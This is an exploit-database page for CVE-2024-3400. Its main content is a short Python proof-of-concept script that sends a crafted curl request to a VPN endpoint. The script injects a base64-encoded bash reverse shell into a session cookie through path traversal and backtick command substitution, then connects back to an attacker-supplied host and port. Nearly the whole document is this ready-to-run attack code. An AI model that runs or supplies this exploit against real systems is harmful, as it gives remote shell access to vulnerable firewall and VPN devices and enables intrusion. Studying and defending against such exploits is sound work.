Exploit database

GH-f0e646c61d34cad30d8b0eeac3561323

0x0d3ad/cve-2024-3400

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-3400

24 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
0x0d3ad/cve-2024-3400Revision 23f4b6450910

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 1,146 bytes
import subprocess
import base64

def generate_reverse_shell(lhost, lport):
    reverse_shell_command = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    encoded_reverse_shell = base64.b64encode(reverse_shell_command.encode()).decode()
    return encoded_reverse_shell

def generate_curl_command(IP, encoded_reverse_shell):
    curl_command = (
        f"curl -s -X POST 'https://{IP}/ssl-vpn/hipreport.esp' -k "
        f"-H 'Cookie: SESSID=/../../../../opt/panlogs/tmp/device_telemetry/minute/aaa`echo${{IFS}}{encoded_reverse_shell}|base64${{IFS}}-d|bash`'"
    )

    return curl_command

IP = input("Enter the vulnerable target IP/Host: ")
lhost = input("Enter the IP/Host for reverse shell: ")
lport = input("Enter the port for reverse shell: ")

encoded_reverse_shell = generate_reverse_shell(lhost, lport)

curl_command = generate_curl_command(IP, encoded_reverse_shell)

try:
    subprocess.run(curl_command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    print("Reverse shell successfully launched. Please wait.")
except subprocess.CalledProcessError:
    print("Error occurred while launching reverse shell.")